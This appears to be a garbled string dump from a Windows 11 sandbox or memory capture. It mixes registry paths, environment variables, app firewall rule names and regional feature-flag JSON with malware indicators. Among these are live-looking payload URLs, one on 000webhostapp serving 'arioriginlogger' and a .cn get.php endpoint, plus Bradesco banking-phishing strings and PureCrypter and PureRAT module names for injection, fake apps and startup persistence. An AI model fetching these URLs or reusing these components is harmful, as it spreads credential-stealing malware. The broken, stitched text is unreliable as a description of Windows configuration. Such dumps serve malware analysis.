stringright ( $ 3++S++ PLUGIN_T DEXE TINSECON \App ugin_Ena abled EdgeUpdateRepairPlugin_PluginMaintenanceMode ugin_Act imit UGIN_AUT UGIN_ACT IMIT \AppComp OneS ugin_Det onOn Plugin_T dExe tInSecon \App ueType REG_DW gValueT cProtect lugi Exec nTim gValueT xsd:anyAttribute processContents ectedFolders RE\Microsoft\Windows Defender\Remediation\Behavioral Network Blocks\Brute Force Protection\Plugins der\WiL ows Defender Exploit Guard\Contr d Folder A/ ess\AllowedApplications RE\Microsoft\Windows Defender\Remediation\Behavioral Network Blocks\Brute Force Protection\Plugins der\Wind \Control\CI\Aggr ++S+ 3++S .Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVectorView`1<Windows.Data.Json.IJsonValue> Windows.Foundation.Collections.IVector`1<Windows.Data.Json.IJsonValue> ows\OneSettings tadata":{"De TWARE\\MicR jjjh </URL> bradesco.vbpfavor verifique.teclado virtual.&tipo=Processando http://today-friday.cn/maran/sejvan/get.php 3++S++ em32\ntm Loca leNa me=e n-US ,Sor tID= 0000 0001 -57e e-1e 5c-0 0b4- d000 0bb1 e11e ,Ver =605 0200 0605 LocaleName=en-US,SortID=00000001-57ee-1e5c-00b4-d0000bb1e11e,Ver=6050200060502 Loca leNa me=e n-US ,Sor tID= 0000 0001 -57e e-1e 5c-0 0b4- d000 0bb1 e11e ,Ver =605 0200 0605 Loca leNa me=e n-US ,Sor tID= 0000 0001 -57e e-1e 5c-0 0b4- d000 0bb1 e11e ,Ver =605 0200 0605 LocaleName=en-US,SortID=00000001-57ee-1e5c-00b4-d0000bb1e11e,Ver=6050200060502 Loca leNa me=e n-US ,Sor tID= 0000 0001 -57e e-1e 5c-0 0b4- d000 0bb1 e11e ,Ver =605 0200 0605 839FF94-8F12-4E1B-82E3-AF7AF77A450F} 0336ED4-E327-447C-9DE0-51B652C86108} dleEx-R- tVer pCompat PInf alueTyp "Invent th": E\\Micr ame" oryNonA etti viderFu SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ApplicationInstalled \\Cu sion\\A RegV ":"REG_ S.json unchInt E\\M \\Windo _Exc lishers ting p"},"No roso ows NT\ _DWORD" ationIn ORD" th":"SO me":"InventoryDeviceContainer","RegValueType":"REG_SZ","FullPath":"SOFTWARE\\Microsoft\\Wi Name toryDev lags tings\\ Z"," ":"SOFT Pnp" Name":" OneSett "SOFTWA "ValueN pCompat Z","Ful ento Package Curr on\\App oryM eousMem patF eSettin "SOFTWA "ValueN toInPlaceUpgradeInboxPlugin_PluginMaintenanceMode rive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERDOMAIN=WORKGROUP USERNAME=WINDOWS11$ USERPROFILE=C:\WINDOWS\system32\config\systemprofile windir=C:\WINDOWS DecompressString https://jude9079.000webhostapp.com/arioriginlogger.ex \startparametrets\Anablepses124\Spisebler 99\perturbingly\metaplasis.for \typhemia.atm syntaksanalyserne codevelop haervaerk pendanter tvangsfuldbyrder.exe UEkSEzUJmmfNQVpbyvodDQbkPUtmBtMdhRNwaxhLoQXgoBRDDSJWxWuzlOSGUyxfVYIeTPViEHRhJfdFcDnErRGOwBxHhirgYXjrfAYpsKskmgZrteiTAKvPONryVvSRgCBlXMf enumpurecrypterinjection enumpurecrypterfakeapp enumpurecrypterstartup enumpurecrypterfakemessagetype purerat.exe purehvnc_lib.enums rtladjustprivilege ntraiseharderror ntqueryvirtualmemoryntquerysysteminforma PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=\REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001_Classes\WOW6432Node\CLSID\{0C9281F9-6DA1-4006-8729-DE6E6B61581C} Windows.Internal.StateRepository.User Service-0x0-3e7$\Default 7$\Default \Registry\Machine\Software\Classes\WOW6432Node\CLSID\{F94358B1-E9AE-4D5C-AF66-CE50E67803C7} ueType ManagerOneSettings rsEnabledn_Enabled thUPPLUGIN_ENABLED dHandler gramData\Microsoft\Windows\OneSettings\AppArchiving.json ueType _IMPACTL SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\MareBackup SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\InstallTracing SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\HwReqEval llSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\InstallTracing SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\ProviderFullSync SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\InstallTracing SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSet ft\Windo T\Cu \AppComp OneS crosoft\ ows\ erval rrentVer \App %ProgramData%\Microsoft\Windows\OneSettings ACKDATAR PLUG EDIATION InventoryMiscellaneousMemorySlotArrayInfo N_MAXUPT HRES nSeconds n_Order erval %ProgramData%\Microsoft\Windows\OneSetting SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\InvSvc SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\InvSvc Flag ++S+ LREMEDIATIONINTERVALINHOURS UGIN_SER KUBL s\OneSet InPlaceUpgradePlugin_PluginMaintenanceMode UGIN_MIN METH N_ACTION Plugin_M lRem aignId CANVASPLUGIN_MAXMANUALREMEDIATIONATTEMPTS rogramDa Micr s\OneSet gramData\Microsoft\Windows\OneSettings\DSTTZSYNC.json anualRem tion ursMPTS N_ENABLE setRepai gin_ ediation IONINTER NHOU ft\Windo T\Cu \AppComp OneS iationAt rder ft\Windo T\Cu \AppComp OneS ionInter nHou crosoft\ ows\ meSyncPl _Thr TimeoutI erval _ServerS gramData\Microsoft\Windows\Models\ModelPayload.json gramData\Microsoft\Windows\OneSettings\TaskManager.json ueType amData%\Microsoft\Windows\OneSettings %ProgramData%\Microsoft\Windows\OneSettings \CortanaP json MEDI soft 3++S++ C:\WINDOWS\system32\spool\DRIVERS\W32X86\3\PrintConfig.dll hemas-microsoft-com:asm.v1^assembly!urn:schemas-microsoft-com:asm.v1^trustInfo!urn:schemas-microsoft-com:asm.v1^security!urn:schemas-microsoft-com:asm.v1^requestedPrivileges!urn:schemas-microsoft-com:asm.v1 hemas-microsoft-com:asm.v1^assembly!urn:schemas-microsoft-com:asm.v1^trustInfo!urn:schemas-microsoft-com:asm.v1^security!urn:schemas-microsoft-com:asm.v1^requestedPrivileges!urn:schemas-microsoft-com:asm.v1^ hemas-microsoft-com:asm.v1^assembly!urn:schemas-microsoft-com:asm.v1^trustInfo!urn:schemas-microsoft-com:asm.v1^security!urn:schemas-microsoft-com:asm.v1^requestedPrivileges! hemas-microsoft-com:asm.v1^assembly!urn:schemas-microsoft-com:asm.v1^trustInfo!urn:schemas-microsoft-com:asm.v1^security!urn:schemas-microsoft-com:asm.v1^requestedPrivileges ++S+ rver ini ed succe ResetDSo Seco UGIN_MAN EMED GNID ABLED _INTERAC ONLY \WSXPack XPay _MAXDEFE PERI ugin_Act imit crosoft\ ows\ _MAXUPTI RESH STACKDATARESETPLUGIN_MANUALREMEDIATIONCAMPAIGNID deInboxP n_Ru P0G_ Snst lerRegLogFlags ]"Mi osoft.WindowsStore_8wekyb3d8bbwe", "StoreInstaller", "Scan ONLI SCANCOOLDOWNINMINUTESGRADEINBOXPLUGIN_RUNONMANAGED YAND ORYUPDATEALLOWED DSIX ARMSUPPORTENABLED E440 DEINBOXP N_TH NTIMEOUT toInPlac rade ServerSk DEINBOXP N_IP TYOVERRI `URC SERATELIMITATTEMPTCOOLDOWNTIME SERVERSK I0gV ueType /soC ent;SystemSettings;CrossDeviceService;GamingService;MoUsoC toInPlac rade RunOnMan BFFL ESHEDDINGEXEMPTLIST GRES RCHUPDATEPACKAGEENABLED RVERSKUB pTOR DGEHOSTNAMEROLLOUTMODE ~EST ECOMPATIBILITYHOSTURL SERATELIMITSUCCESSCOOLDOWNTIME uURC SERATELIMITATTEMPT Partner Payload FILE Partner Feature Metadata OpenWith Name Name Partner Partner Feature Feature FILE Battery Feature Name Metadata Payload Battery Feature Payload Default Partner Metadata Costed Payload Name Metadata Metadata Feature Name Defaults FILE Costed Partner WU_STORE Metadata Name crosoft\ ows\ gramData\Microsoft\Windows\WSXPacks\WSXPayload.json _ActionL hreadEL cutionTimeoutInSeconds gin_Serv uBlo AIGNID _Interva _RUNONMA Dger ice\Syst OneS _SERVERS METH IN_AUTOO %ProgramData%\Microsoft\Windows\OneSettings s\OneS tionDriv ERVE N_RUNONM in_AutoO _ServerS SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\InvSvc SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\OneSettings\InvSvc Payload Normal REGISTRY Normal FILE OnDemand Metadata REG_SZ REG_SZ Partner Metadata Metadata Defaults FILE FullPath Battery REG_SZ RUXIM Partner REGISTRY Battery Name Settings Feature Payload RUXIM Feature Payload FullPath Costed Payload WaaS Normal FILE Settings Metadata Feature FILE Name Payload Partner rogramDa Micr s\OneSet gin_Enab \current ice\ gramData\Microsoft\Windows\OneSettings\FeatureConfig.json y?ms-resource://Microsoft.Windows.StartMenuExperienceHost/StartMenuExperienceHost/PkgDisplayName} S-1-5-18 Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy Microsoft.XboxGameCallableUI_cw5n1h2txyewy-Out-Allow-AllCapabilities @{Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.XboxGameCallableUI/resources/PkgDisplayName} @{Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.XboxGameCallableUI/resources/PkgDisplayName} @{Microsoft.XboxGameCallableUI_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.XboxGameCallableUI/resources/PkgDisplayName} S-1-5-18 Microsoft.XboxGameCallableUI_cw5n1h2txyewy MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy-Out-Allow-AllCapabilities @{MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.57242383.Tasbar/Resources/ProductPkgDisplayName} @{MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.57242383.Tasbar/Resources/ProductPkgDisplayName} @{MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.57242383.Tasbar/Resources/ProductPkgDisplayName} S-1-5-18 MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy MicrosoftWindows.59336768.Speion_cw5n1h2txyewy-Out-Allow-AllCapabilities @{MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.59336768.Speion/Resources/ProductPkgDisplayName} @{MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWindows.59336768.Speion/Resources/ProductPkgDisplayName} @{MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy?ms-resource://MicrosoftWewy-In-Allow-ServerCapability @{Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.ShellExperienceHost/resources/PkgDisplayName} @{Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.ShellExperienceHost/resources/PkgDisplayName} @{Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.ShellExperienceHost/resources/PkgDisplayName} S-1-5-18 Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy-Out-Allow-AllCapabilities @{Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.StartMenuExperienceHost/StartMenuExperienceHost/PkgDisplayName} @{Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.StartMenuExperienceHost/StartMenuExperienceHost/PkgDisplayName} @{Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.StartMenuExperienceHost/StartMenuExperienceHost/PkgDisplayName} S-1-5-18 Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy-In-Allow-ServerCapability @{Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.StartMenuExperienceHost/StartMenuExperienceHost/PkgDisplayName} @{Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.StartMenuExperienceHost/StartMenuExperienceHost/PkgDisplayName} @{Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyew _neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkCaptivePortal/Resources/AppDisplayName} @{Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkCaptivePortal/Resources/AppDisplayName} S-1-5-18 Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy Microsoft.Windows.ParentalControls_cw5n1h2txyewy-Out-Allow-AllCapabilities @{Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.ParentalControls/resources/DisplayName} @{Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.ParentalControls/resources/DisplayName} @{Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.ParentalControls/resources/DisplayName} S-1-5-18 Microsoft.Windows.ParentalControls_cw5n1h2txyewy Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy-Out-Allow-AllCapabilities @{Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.PeopleExperienceHost/resources/PkgDisplayName} @{Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.PeopleExperienceHost/resources/PkgDisplayName} @{Microsoft.Windows.PeopleExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.PeopleExperienceHost/resources/PkgDisplayName} S-1-5-18 Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy-Out-Allow-AllCapabilities @{Microsoft.Windows.PrintQueueActionCenter_1.0.2.0_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.PrintQueueActioWindows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription} S-1-5-18 Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy-In-Allow-ServerCapability @{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription} @{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription} @{Microsoft.Windows.CloudExperienceHost_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.CloudExperienceHost/resources/appDescription} S-1-5-18 Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy-Out-Allow-AllCapabilities @{Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.ContentDeliveryManager/resources/AppDisplayName} @{Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.ContentDeliveryManager/resources/AppDisplayName} @{Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy?ms-resource://Microsoft.Windows.ContentDeliveryManager/resources/AppDisplayName} S-1-5-18 Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy-Out-Allow-AllCapabilities @{Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy?ms-resource://Microsoft.Windows.OOBENetworkCaptivePortal/Resources/AppDisplayName} @{Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000 "disabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "Third party feed is shown in Widgets.", "guid": "{16d2b50e-fa7c-4bb1-ab17-01d766530b3b}", "defaultState": "disabled", "conditions": { "region": { "enabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "Third party Widgets are shown in Widgets feed.", "guid": "{93f5099b-feeb-42c1-984b-c34851e100aa}", "defaultState": "enabled", "conditions": { "region": { "disabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "First party Widget feed can be disabled.", "guid": "{92ca7dcf-f422-4a4b-892e-7883a3ca8d70}", "defaultState": "disabled", "conditions": { "region": { "enabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "Use default web protocol for Widget links.", "guid": "{3d0c862c-bfd8-4350-af2f-4c42884cc3a8}", "defaultState": "disabled", "conditions": { "region": { "enabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU" ", "SE", "SI", "SK", "YT"] } } }, { "$comment": "V2: Third parties can customize the Taskbar Gleam.", "guid": "{7de951fb-a68f-4cb0-b67b-ae6fbdec83ed}", "defaultState": "disabled", "conditions": { "region": { "enabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "Third parties can customize the Taskbar Gleam.", "guid": "{9a9f7273-6d5d-4da8-a8e6-bc3243b84d21}", "defaultState": "disabled", "conditions": { "region": { "disabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "V2: First party Taskbar Gleam customization is shown.", "guid": "{17bcdbb5-6003-4b4a-8da8-db163a9869d5}", "defaultState": "enabled", "conditions": { "region": { "enabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "First party Taskbar Gleam customization is shown.", "guid": "{61bf5046-c5db-4cd3-b6bf-929e5b421a6a}", "defaultState": "enabled", "conditions": { "region": { "disabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "Search MRU shows third party provide WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.OOBE_cw5n1h2txyewy WIN://SYSAPPID MicrosoftWindows.Client.CBS_cw5n1h2txyewy { "$comment": "User can disable web search.", "guid": "{6002ce31-b807-4f82-820c-2b92e716ab76}", "defaultState": "disabled", "conditions": { "region": { "enabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "Narrator scripting extensions are enabled.", "guid": "{6033b294-79ff-47eb-bbde-97b4c6479217}", "defaultState": "enabled", "conditions": { "region": { "disabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "File Explorer Search is third party extensible.", "guid": "{63ef7a1e-95a1-4f7b-9d4c-b5ed8e72fe10}", "defaultState": "disabled", "conditions": { "region": { "disabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "First party File Explorer Search is allowed.", "guid": "{ad2d9176-ef16-42de-ba5e-5f6e5a07abca}", "defaultState": "enabled", "conditions": { "region": { "disabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "SetAppAsDefault Public API exception for setting Edge as default", "guid": "{50db02cb-3f22-465b-9205-0e722c2caf0c}", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } } ructure", "guid": "{0d8903d8-84f5-4048-af3f-547476d83c3c}", "defaultState": "disabled", "conditions": { "region": { "enabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "Windows Copilot chat provider extensibility", "guid": "{a9aacd21-327a-4747-adc1-9d8f1d0f6704}", "defaultState": "disabled", "conditions": { "region": { "enabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "Full screen user setup promotional surfaces are allowed.", "guid": "{b5113273-5a79-4488-a7b4-0a4fc5d5b194}", "defaultState": "enabled", "conditions": { "region": { "disabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "Individual promotional pages within larger user setup flows are allowed.", "guid": "{75b09d11-2e0d-4029-bd88-b91ec9a229bb}", "defaultState": "enabled", "conditions": { "region": { "disabled": ["AT", "BE", "BG", "CH", "CY", "CZ", "DE", "DK", "EE", "ES", "FI", "FR", "GF", "GP", "GR", "HR", "HU", "IE", "IS", "IT", "LI", "LT", "LU", "LV", "MT", "MQ", "NL", "NO", "PL", "PT", "RE", "RO", "SE", "SI", "SK", "YT"] } } }, { "$comment": "Windows and first-party apps are allowed to access web browser user profile IDs.", "guid": "{874ed11b-2ab7-4f1e-b275-6032092e3dda}" f1e-b275 2092 t-party are access w localdomain http://www.msftconnecttest.com/connecttest.txt localdomain http://www.msftconnecttest.com/connecttest.txt localdomain http://www.msftconnecttest.com/connecttest.txt {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} localdomain http://www.msftconnecttest.com/connecttest.txt localdomain http://www.msftconnecttest.com/connecttest.txt localdomain http://www.msftconnecttest.com/connecttest.txt localdomain http://www.msftconnecttest.com/connecttest.txt localdomain http://www.msftconnecttest.com/connecttest.txt localdomain http://www.msftconnecttest.com/connecttest.txt {DC9C943D-E329-436E-BBBD-1CC2E24BE45A} k-in 3++S tWindowstWindows .Taskbar 91ec9a229bb} {f7281e17-d7eb-4224-89d0-8aa12a403410} {36996754-e327-483a-902f-523e2ba03239} Campaign segment targeting is allowed {874ed11b-2ab7-4f1e-b275-6032092e3dda} {263054fb-c39e-41d5-b712-23f340806ca8} News & Interest settings are shown. {75b09d11-2e0d-4029-bd88-b91ec9a229bb} {1b4085de-aab1-43f6-9385-c5774b824be9} {0d8903d8-84f5-4048-af3f-547476d83c3c} {b5113273-5a79-4488-a7b4-0a4fc5d5b194} {9f39df42-5d54-46fc-aa50-9ae3b1ecd663} {b5113273-5a79-4488-a7b4-0a4fc5d5b194} {a9aacd21-327a-4747-adc1-9d8f1d0f6704} {2bf706de-6dbb-4692-b7ef-84d80c47e927} Campaign segment targeting is allowed 